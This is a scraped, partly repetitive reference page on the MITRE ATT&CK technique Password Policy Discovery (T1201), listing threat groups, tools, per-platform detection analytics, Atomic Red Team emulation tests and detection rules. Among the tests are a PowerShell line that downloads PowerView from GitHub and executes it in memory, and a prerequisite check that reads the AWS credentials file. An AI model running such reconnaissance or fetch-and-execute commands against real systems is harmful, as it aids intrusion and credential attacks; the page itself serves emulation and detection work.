tfMITRE ATT&CK technique

Password Policy Discovery T1201

Tactic: Discovery
Platforms: Windows, Linux, macOS, IaaS, Network Devices, Identity Provider, SaaS, Office Suite
Version: 1.7
Created: 18 April 2018
Last modified: 24 October 2025
Contributors: Regina Elwell; Sudhanshu Chauhan, @Sudhanshu_C; Isif Ibrahima, Mandiant; Austin Clark, @c2defense

Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups64th pct

Threat groups64th percentile · 56% of ATT&CK techniques have fewer threat groups attributed.

Campaigns72nd pct

Campaigns72nd percentile · 54% of ATT&CK techniques have fewer campaigns recorded.

Tools & malware62nd pct

Tools & malware62nd percentile · 57% of ATT&CK techniques have fewer tools implementing them.

Detection rulesTop 16%

Detection rules84th percentile · 82% of ATT&CK techniques have fewer detection rules written.

tfMITRE ATT&CK technique

Password Policy Discovery T1201

Tactic: Discovery
Platforms: Windows, Linux, macOS, IaaS, Network Devices, Identity Provider, SaaS, Office Suite
Version: 1.7
Created: 18 April 2018
Last modified: 24 October 2025
Contributors: Regina Elwell; Sudhanshu Chauhan, @Sudhanshu_C; Isif Ibrahima, Mandiant; Austin Clark, @c2defense

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups64th pct

Threat groups64th percentile · 56% of ATT&CK techniques have fewer threat groups attributed.

Campaigns72nd pct

Campaigns72nd percentile · 54% of ATT&CK techniques have fewer campaigns recorded.

Tools & malware62nd pct

Tools & malware62nd percentile · 57% of ATT&CK techniques have fewer tools implementing them.

Detection rulesTop 16%

Detection rules84th percentile · 82% of ATT&CK techniques have fewer detection rules written.

Password Policy Discovery MITRE reference T1201

64th pctamong all ATT&CK techniques for number of groups

3 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

ChimeraG0114 ↗

Has used the NtdsAudit utility to collect information related to accounts and passwords.1

created 2020-08-241 reference

OilRigG0049 ↗

Has used net.exe in a script with net accounts /domain to find the password policy of a domain.1

created 2017-12-141 referenceaka COBALT GYPSY

TurlaG0010 ↗

Has used net accounts and net accounts /domain to acquire password policy information.1

created 2017-05-311 referenceaka IRON HUNTER

All 3 groups for this technique

1 campaign has been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

Operation CuckooBeesC0012 ↗

During Operation CuckooBees, the threat actors used the net accounts command as part of their advanced reconnaissance.1

2019–2022

All 1 campaigns for this technique

4 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

CrackMapExecS0488 ↗

Can discover the password policies applied to the target system.1

created 2020-07-17TOOLcarried by 5 groups

PoshC2S0378 ↗

Can use Get-PassPol to enumerate the domain password policy.1

created 2019-04-23TOOLcarried by 3 groups

KwampirsS0236 ↗

Collects password policy information with the command net accounts.1

created 2018-10-17MALWAREcarried by 1 group

NetS0039 ↗

The net accounts and net accounts /domain commands with Net can be used to obtain password policy information.1

created 2017-05-31TOOLcarried by 33 groups

All 4 software entries for this technique

Offense vs defense T1201

Compare defenses against adversary use. Eight counts, ranking this technique against the entire ATT&CK Enterprise matrix. Attack sits left, defense right.

Range

Technique Campaign use over its cumulative rule count.

Campaigns · 1Sigma rules (cumulative) · 6Splunk ESCU (cumulative) · 9

Password Policy Discovery detection strategy DET0161

MITRE names one behaviour worth catching for this technique and breaks it into 7 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Password Policy Discovery – cross-platform behavior-chain analytics

Enterprise

7 platforms

AN0455 · Windows

Cause→effect chain: (1) a user or service spawns a shell/PowerShell that queries local/domain password policy via commands/cmdlets (e.g., net accounts, Get-ADDefaultDomainPasswordPolicy, secedit /export); (2) optional directory/LDAP reads from DCs; (3) same principal performs adjacent Discovery or credential-related actions within a short window. Correlate sysmon process creation with PowerShell ScriptBlock and Security logs.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Command ExecutionDC0064	WinEventLog:PowerShell	EventCode=4103, 4104, 4105, 4106
Active Directory Object AccessDC0071	WinEventLog:Security	EventCode=4662

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Correlation window between policy query and adjacent suspicious activity (e.g., 15–30 minutes).
PrivilegedUserAllowList	Accounts (e.g., Helpdesk) allowed to run policy queries routinely.
HostRoleScope	Limit alerts on DCs/management servers; raise on user workstations/VDI.
PS_ScriptBlockPatterns	Cmdlet/function names to treat as high-signal in your environment.

AN0456 · Linux

Chain: (1) interactive/non-interactive chage -l, grep/cat of PAM config (e.g., /etc/pam.d/common-password, /etc/security/pwquality.conf); (2) optional reads of /etc/login.defs; (3) same user performs account enumeration or password change attempts shortly after. Use auditd execve and file read events plus shell history collection.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account MetadataDC0013	auditd:SYSCALL	open,openat,read
Process CreationDC0032	auditd:SYSCALL	execve
Command ExecutionDC0064	linux:syslog	sudo chage\|grep pam_pwquality\|cat /etc/login.defs

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
MonitoredPaths	Exact PAM/QoP config files used by your distro (Debian vs. RHEL paths differ).
ServiceAccountsExclude	System daemons that legitimately parse policies on boot.
TerminalType	TTY vs. non-interactive—raise risk for non-interactive remote execution.

AN0457 · macOS

Chain: (1) execution of pwpolicy or MDM/DirectoryService reads of account policies; (2) optional read of /Library/Preferences/com.apple.loginwindow or config profiles; (3) follow-on credential probing or lateral movement by same user/session. Use unified logs and process telemetry.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account MetadataDC0013	macos:MDM	profiles -P\|getaccountpolicies
Process CreationDC0032	macos:unifiedlog	exec /usr/bin/pwpolicy
Command ExecutionDC0064	macos:unifiedlog	pwpolicy\|PasswordPolicy

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
MDMProfileIDs	Approved profiles reading/updating auth policies.
AdminConsoleHosts	Jamf or management hosts where queries are expected.

AN0458 · IaaS

Chain: (1) cloud API calls that fetch tenant/organization password policy (e.g., AWS GetAccountPasswordPolicy, GCP/OCI equivalents or IAM settings reads); (2) within a short window, the same principal creates users, rotates creds, or changes auth settings. Use cloud audit logs.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account MetadataDC0013	AWS:CloudTrail	GetAccountPasswordPolicy

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CloudReadOnlyApps	Approved security tooling principals that routinely read policy.
ApiClientIPAllowList	Corporate egress IPs for administrative API access.

AN0459 · Identity Provider

Chain: (1) IdP policy/read operations by a principal (e.g., Microsoft Entra/Graph requests to read password or authentication policies); (2) adjacent risky changes (role assignment, app consent) by same principal. Use IdP audit logs.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account MetadataDC0013	azure:audit	operation contains 'GetPasswordPolicy' OR 'ListAuthenticationPolicy' OR 'Get-ADDefaultDomainPasswordPolicy'

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TrustedPartnerAppIds	Legitimate partner apps that enumerate policies.
GeoRiskTolerance	Raise risk for unusual geo or TOR/VPN egress.

AN0460 · SaaS

Chain: (1) SaaS admin API or PowerShell remote session reads tenant password/authentication settings (e.g., M365 Unified Audit Log ‘Cmdlet’ with Get-MsolPasswordPolicy/Get-OrganizationConfig parameters that expose password settings); (2) same session proceeds to mailbox or tenant changes.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account MetadataDC0013	m365:unified	Workload=AzureActiveDirectory OR Exchange AND (Operation=Cmdlet AND Parameters contains 'Password' AND (CmdletName='Get-*' OR CmdletName='Get-OrganizationConfig'))

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
SaaSAdminGroup	Known admin groups or break-glass accounts.
SessionAnomalyThreshold	Rate/volume of read operations per session considered anomalous.

AN0461 · Network Devices

Chain: (1) privileged CLI sessions run read-only commands that dump AAA/password policies (e.g., show aaa, show password-policy); (2) same account changes AAA or user DB shortly after. Use network device AAA/command accounting or syslog.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Command ExecutionDC0064	networkdevice:syslog	cmd='show aaa*' OR 'show running-config \| include password\|aaa' OR 'show aaa common-criteria policy all'

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ApprovedNOCSources	Jump hosts permitted to run show commands.
DeviceTier	Higher risk weight on edge/critical devices.

Password PoliciesM1027

Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\Windows\System32\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages.

Tests12Executorsbash 5 · command_prompt 3 · sh 2 · powershell 2Need elevation1 of 12Have prerequisites3Have cleanup0Platformslinux, windows, macos, iaas:aws

#	Test	Platform	Executor	Elevation	Prereqs	Cleanup
01	Examine password complexity policy - Ubuntu	linux	bash	—	—	—
Lists the password complexity policy to console on Ubuntu Linux. Attack Commandsrun with `bash` cat /etc/pam.d/common-password GUID085fe567-ac84-47c7-ac4c-2688ce28265b
02	Examine password complexity policy - FreeBSD	linux	sh	—	—	—
Lists the password complexity policy to console on FreeBSD. Attack Commandsrun with `sh` cat /etc/pam.d/passwd GUIDa7893624-a3d7-4aed-9676-80498f31820f
03	Examine password complexity policy - CentOS/RHEL 7.x	linux	bash	—	1	—
Lists the password complexity policy to console on CentOS/RHEL 7.x Linux. Attack Commandsrun with `bash` cat /etc/security/pwquality.conf Dependencies Description System must be CentOS or RHEL v7 Check Prereq Commands if [ $(uname -a \| grep -ioP 'el[0-9]' \| grep -oP '[0-9]') -eq "7" ]; then exit 0; else exit 1; fi; Get Prereq Commands echo Please run from CentOS or RHEL v7 GUID78a12e65-efff-4617-bc01-88f17d71315d
04	Examine password complexity policy - CentOS/RHEL 6.x	linux	bash	—	1	—
Lists the password complexity policy to console on CentOS/RHEL 6.x Linux. Attack Commandsrun with `bash` cat /etc/pam.d/system-auth cat /etc/security/pwquality.conf Dependencies Description System must be CentOS or RHEL v6 Check Prereq Commands if [ $(rpm -q --queryformat '%{VERSION}') -eq "6" ]; then exit /b 0; else exit /b 1; fi; Get Prereq Commands echo Please run from CentOS or RHEL v6 GUID6ce12552-0adb-4f56-89ff-95ce268f6358
05	Examine password expiration policy - All Linux	linux	bash	—	—	—
Lists the password expiration policy to console on CentOS/RHEL/Ubuntu. Attack Commandsrun with `bash` cat /etc/login.defs GUID7c86c55c-70fa-4a05-83c9-3aa19b145d1a
06	Examine local password policy - Windows	windows	command_prompt	—	—	—
Lists the local password policy to console on Windows. Attack Commandsrun with `command_prompt` net accounts GUID4588d243-f24e-4549-b2e3-e627acc089f6
07	Examine domain password policy - Windows	windows	command_prompt	—	—	—
Lists the domain password policy to console on Windows. Attack Commandsrun with `command_prompt` net accounts /domain GUID46c2c362-2679-4ef5-aec9-0e958e135be4
08	Examine password policy - macOS	macos	bash	—	—	—
Lists the password policy to console on macOS. Attack Commandsrun with `bash` pwpolicy getaccountpolicies GUID4b7fa042-9482-45e1-b348-4b756b2a0742
09	Get-DomainPolicy with PowerView	windows	powershell	—	—	—
Utilizing PowerView, run Get-DomainPolicy to return the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller. Attack Commandsrun with `powershell` [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainPolicy -verbose GUID3177f4da-3d4b-4592-8bdc-aa23d0b2e843
10	Enumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy	windows	powershell	—	—	—
The following Atomic test will utilize get-addefaultdomainpasswordpolicy to enumerate domain password policy. Upon successful execution a listing of the policy implemented will display. Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy?view=windowsserver2022-ps Attack Commandsrun with `powershell` get-addefaultdomainpasswordpolicy GUIDb2698b33-984c-4a1c-93bb-e4ba72a0babb
11	Use of SecEdit.exe to export the local security policy (including the password policy)	windows	command_prompt	Required	—	—
SecEdit.exe can be used to export the current local security policy applied to a host. Reference Attack Commandsrun with `command_prompt`elevation required (root or admin) secedit.exe /export /areas SECURITYPOLICY /cfg output_mysecpol.txt GUID510cc97f-56ac-4cd3-a198-d3218c23d889
12	Examine AWS Password Policy	iaas:aws	sh	—	1	—
This atomic test will display details about the password policy for the current AWS account. Attack Commandsrun with `sh` aws iam get-account-password-policy Dependencies Description Check if ~/.aws/credentials file has a default stanza is configured Check Prereq Commands cat ~/.aws/credentials \| grep "default" Get Prereq Commands echo Please install the aws-cli and configure your AWS defult profile using: aws configure GUID15330820-d405-450b-bd08-16b5be5be9f4

Tests from Atomic Red Team (MIT licence) · technique definition

Select	Description	Category	Status	Event	OS	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID
Splunk	The following analytic detects an AWS account experiencing more than 20 failed authentication attempts within a 5-minute window. (...)	Anomaly	stable	authentication	-	AWS CloudTrail · AWS	Discovery Password Policy Discovery	-	medium	Bhavin Patel, Splunk	2023-01-27	2026-05-13	e3236f49-daf3-4b70-b808-9290912ac64d
Splunk	The following analytic detects successful API calls to view, update, or delete the password policy in an AWS organization. (...)	Hunting	stable	account_management	-	AWS CloudTrail · AWS	Discovery Password Policy Discovery	-	medium	Bhavin Patel, Splunk	2023-01-26	2026-05-13	aee4a575-7064-4e60-b511-246f9baf9895
	Find information about network devices that is not stored in config files	Generic	test	authentication	-	Cisco AAA · Cisco	Discovery File and Directory Discovery Discovery Password Policy Discovery Discovery Process Discovery Discovery Remote System Discovery Discovery System Information Discovery Discovery System Network Configuration Discovery Discovery System Network Connections Discovery Discovery System Owner/User Discovery Discovery System Time Discovery	-	low	Austin Clark	2019-08-12	2023-01-04	9705a6a1-6db6-4a16-a987-15b7151e299b
Splunk	The following analytic detects the execution of `powershell.exe` running the `Get-ADDefaultDomainPasswordPolicy` cmdlet, which is used to retrieve the password policy in a Windows domain. (...)	Hunting	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery Password Policy Discovery	-	medium	Teoderick Contreras, Splunk	2021-08-27	2026-10-02	36e46ebe-065a-11ec-b4c7-acde48001122
Splunk	The following analytic detects the execution of the `Get-ADDefaultDomainPasswordPolicy` PowerShell cmdlet, which is used to retrieve the password policy in a Windows domain. (...)	Hunting	stable	ps_script	windows	PowerShell	Discovery Password Policy Discovery	-	medium	Teoderick Contreras, Mauricio Velazco, Splunk	2021-08-27	2026-05-13	1ff7ccc8-065a-11ec-91e4-acde48001122
Splunk	The following analytic detects the execution of `powershell.exe` running the `Get-ADUserResultantPasswordPolicy` cmdlet, which is used to obtain the password policy in a Windows domain. (...)	Generic	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery Password Policy Discovery	-	medium	Teoderick Contreras, Mauricio Velazco, Splunk	2021-08-27	2026-05-13	8b5ef342-065a-11ec-b0fc-acde48001122
Splunk	The following analytic detects the execution of the `Get-ADUserResultantPasswordPolicy` PowerShell cmdlet, which is used to obtain the password policy in a Windows domain. (...)	Generic	stable	ps_script	windows	PowerShell	Discovery Password Policy Discovery	-	medium	Teoderick Contreras, Mauricio Velazco, Splunk	2021-08-27	2026-05-13	737e1eb0-065a-11ec-921a-acde48001122
Splunk	The following analytic detects the execution of `powershell.exe` running the `Get-DomainPolicy` cmdlet, which is used to retrieve password policies in a Windows domain. (...)	Generic	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery Password Policy Discovery	-	medium	Teoderick Contreras, Mauricio Velazco, Splunk	2021-08-27	2026-10-02	b8f9947e-065a-11ec-aafb-acde48001122
Splunk	The following analytic detects the execution of the `Get-DomainPolicy` cmdlet using PowerShell Script Block Logging (EventCode=4104). (...)	Generic	stable	ps_script	windows	PowerShell	Discovery Password Policy Discovery	-	medium	Teoderick Contreras, Splunk	2021-08-27	2026-05-13	a360d2b2-065a-11ec-b0bf-acde48001122
	This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Credential Access Brute Force Execution Command and Scripting Interpreter PowerShell Windows Command Shell Discovery Password Policy Discovery Execution, Persistence, Privilege Escalation Scheduled Task/Job Execution Windows Management Instrumentation	-	high	Florian Roth (Nextron Systems)	2022-02-25	2023-03-08	42a993dd-bb3e-48c8-b372-4d6684c4106c
	Detects execution of "Net.EXE".	Hunting	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery Account Discovery Local Account Domain Account Discovery Network Share Discovery Discovery Password Policy Discovery Discovery Permission Groups Discovery Local Groups Domain Groups Lateral Movement Remote Services SMB/Windows Admin Shares Discovery Remote System Discovery Discovery System Network Connections Discovery Discovery System Service Discovery	-	low	Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements)	2019-01-16	2022-07-11	183e7ea8-ac4b-4c23-9aec-b3dac4e401ac
	Detects password policy discovery commands	Generic	stable	file_event	linux	Linux Auditd	Discovery Password Policy Discovery	-	low	Ömer Günal, oscd.community, Pawel Mazur	2020-10-08	2024-12-01	ca94a6db-8106-4737-9ed2-3e3bb826af0a
	Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.	Generic	test	ps_script	windows	PowerShell	Discovery Password Policy Discovery	-	low	frack113	2022-03-17	—	bbb9495b-58fc-4016-b9df-9a3a1b67ca82
	Detects when the password policy is enumerated.	Generic	test	-	windows	WinEventLog Security	Discovery Password Policy Discovery	-	medium	Zach Mathis	2023-05-19	—	12ba6a38-adb3-4d6b-91ba-a7fb248e3199
Splunk	The following analytic identifies the execution of `net.exe` with command line arguments aimed at obtaining the computer or domain password policy. (...)	Hunting	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery Password Policy Discovery	-	medium	Teoderick Contreras, Mauricio Velazco, Nasreddine Bencherchali, Splunk	2021-08-27	2026-05-13	e52f7865-be78-46bf-b7ed-150fbe447613

Select	Description	Category	Status	Event	OS	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID
Splunk	The following analytic detects an AWS account experiencing more than 20 failed authentication attempts within a 5-minute window. (...)	Anomaly	stable	authentication	-	AWS CloudTrail · AWS	Discovery Password Policy Discovery	-	medium	Bhavin Patel, Splunk	2023-01-27	2026-05-13	e3236f49-daf3-4b70-b808-9290912ac64d
Splunk	The following analytic detects successful API calls to view, update, or delete the password policy in an AWS organization. (...)	Hunting	stable	account_management	-	AWS CloudTrail · AWS	Discovery Password Policy Discovery	-	medium	Bhavin Patel, Splunk	2023-01-26	2026-05-13	aee4a575-7064-4e60-b511-246f9baf9895
	Find information about network devices that is not stored in config files	Generic	test	authentication	-	Cisco AAA · Cisco	Discovery File and Directory Discovery Discovery Password Policy Discovery Discovery Process Discovery Discovery Remote System Discovery Discovery System Information Discovery Discovery System Network Configuration Discovery Discovery System Network Connections Discovery Discovery System Owner/User Discovery Discovery System Time Discovery	-	low	Austin Clark	2019-08-12	2023-01-04	9705a6a1-6db6-4a16-a987-15b7151e299b
Splunk	The following analytic detects the execution of `powershell.exe` running the `Get-ADDefaultDomainPasswordPolicy` cmdlet, which is used to retrieve the password policy in a Windows domain. (...)	Hunting	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery Password Policy Discovery	-	medium	Teoderick Contreras, Splunk	2021-08-27	2026-10-02	36e46ebe-065a-11ec-b4c7-acde48001122
Splunk	The following analytic detects the execution of the `Get-ADDefaultDomainPasswordPolicy` PowerShell cmdlet, which is used to retrieve the password policy in a Windows domain. (...)	Hunting	stable	ps_script	windows	PowerShell	Discovery Password Policy Discovery	-	medium	Teoderick Contreras, Mauricio Velazco, Splunk	2021-08-27	2026-05-13	1ff7ccc8-065a-11ec-91e4-acde48001122
Splunk	The following analytic detects the execution of `powershell.exe` running the `Get-ADUserResultantPasswordPolicy` cmdlet, which is used to obtain the password policy in a Windows domain. (...)	Generic	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery Password Policy Discovery	-	medium	Teoderick Contreras, Mauricio Velazco, Splunk	2021-08-27	2026-05-13	8b5ef342-065a-11ec-b0fc-acde48001122
Splunk	The following analytic detects the execution of the `Get-ADUserResultantPasswordPolicy` PowerShell cmdlet, which is used to obtain the password policy in a Windows domain. (...)	Generic	stable	ps_script	windows	PowerShell	Discovery Password Policy Discovery	-	medium	Teoderick Contreras, Mauricio Velazco, Splunk	2021-08-27	2026-05-13	737e1eb0-065a-11ec-921a-acde48001122
Splunk	The following analytic detects the execution of `powershell.exe` running the `Get-DomainPolicy` cmdlet, which is used to retrieve password policies in a Windows domain. (...)	Generic	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery Password Policy Discovery	-	medium	Teoderick Contreras, Mauricio Velazco, Splunk	2021-08-27	2026-10-02	b8f9947e-065a-11ec-aafb-acde48001122
Splunk	The following analytic detects the execution of the `Get-DomainPolicy` cmdlet using PowerShell Script Block Logging (EventCode=4104). (...)	Generic	stable	ps_script	windows	PowerShell	Discovery Password Policy Discovery	-	medium	Teoderick Contreras, Splunk	2021-08-27	2026-05-13	a360d2b2-065a-11ec-b0bf-acde48001122
	This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.	Generic	test	process_creation	windows	Sysmon · WinEventLog Security	Credential Access Brute Force Execution Command and Scripting Interpreter PowerShell Windows Command Shell Discovery Password Policy Discovery Execution, Persistence, Privilege Escalation Scheduled Task/Job Execution Windows Management Instrumentation	-	high	Florian Roth (Nextron Systems)	2022-02-25	2023-03-08	42a993dd-bb3e-48c8-b372-4d6684c4106c
	Detects execution of "Net.EXE".	Hunting	test	process_creation	windows	Sysmon · WinEventLog Security	Discovery Account Discovery Local Account Domain Account Discovery Network Share Discovery Discovery Password Policy Discovery Discovery Permission Groups Discovery Local Groups Domain Groups Lateral Movement Remote Services SMB/Windows Admin Shares Discovery Remote System Discovery Discovery System Network Connections Discovery Discovery System Service Discovery	-	low	Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements)	2019-01-16	2022-07-11	183e7ea8-ac4b-4c23-9aec-b3dac4e401ac
	Detects password policy discovery commands	Generic	stable	file_event	linux	Linux Auditd	Discovery Password Policy Discovery	-	low	Ömer Günal, oscd.community, Pawel Mazur	2020-10-08	2024-12-01	ca94a6db-8106-4737-9ed2-3e3bb826af0a
	Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.	Generic	test	ps_script	windows	PowerShell	Discovery Password Policy Discovery	-	low	frack113	2022-03-17	—	bbb9495b-58fc-4016-b9df-9a3a1b67ca82
	Detects when the password policy is enumerated.	Generic	test	-	windows	WinEventLog Security	Discovery Password Policy Discovery	-	medium	Zach Mathis	2023-05-19	—	12ba6a38-adb3-4d6b-91ba-a7fb248e3199
Splunk	The following analytic identifies the execution of `net.exe` with command line arguments aimed at obtaining the computer or domain password policy. (...)	Hunting	stable	process_creation	windows	Sysmon · WinEventLog Security · CrowdStrike	Discovery Password Policy Discovery	-	medium	Teoderick Contreras, Mauricio Velazco, Nasreddine Bencherchali, Splunk	2021-08-27	2026-05-13	e52f7865-be78-46bf-b7ed-150fbe447613

Password Policy Discovery T1201

Password Policy Discovery T1201

Password Policy Discovery MITRE reference T1201

Offense vs defense T1201

Password Policy Discovery detection strategy DET0161

Password Policy Discovery – cross-platform behavior-chain analytics

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Password Policy Discovery MITRE reference T1201

Offense vs defense T1201

Password Policy Discovery detection strategy DET0161

Password Policy Discovery – cross-platform behavior-chain analytics

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Log sources

Tunable fields

Password Policy Discovery detections T1201

Password Policy Discovery detections T1201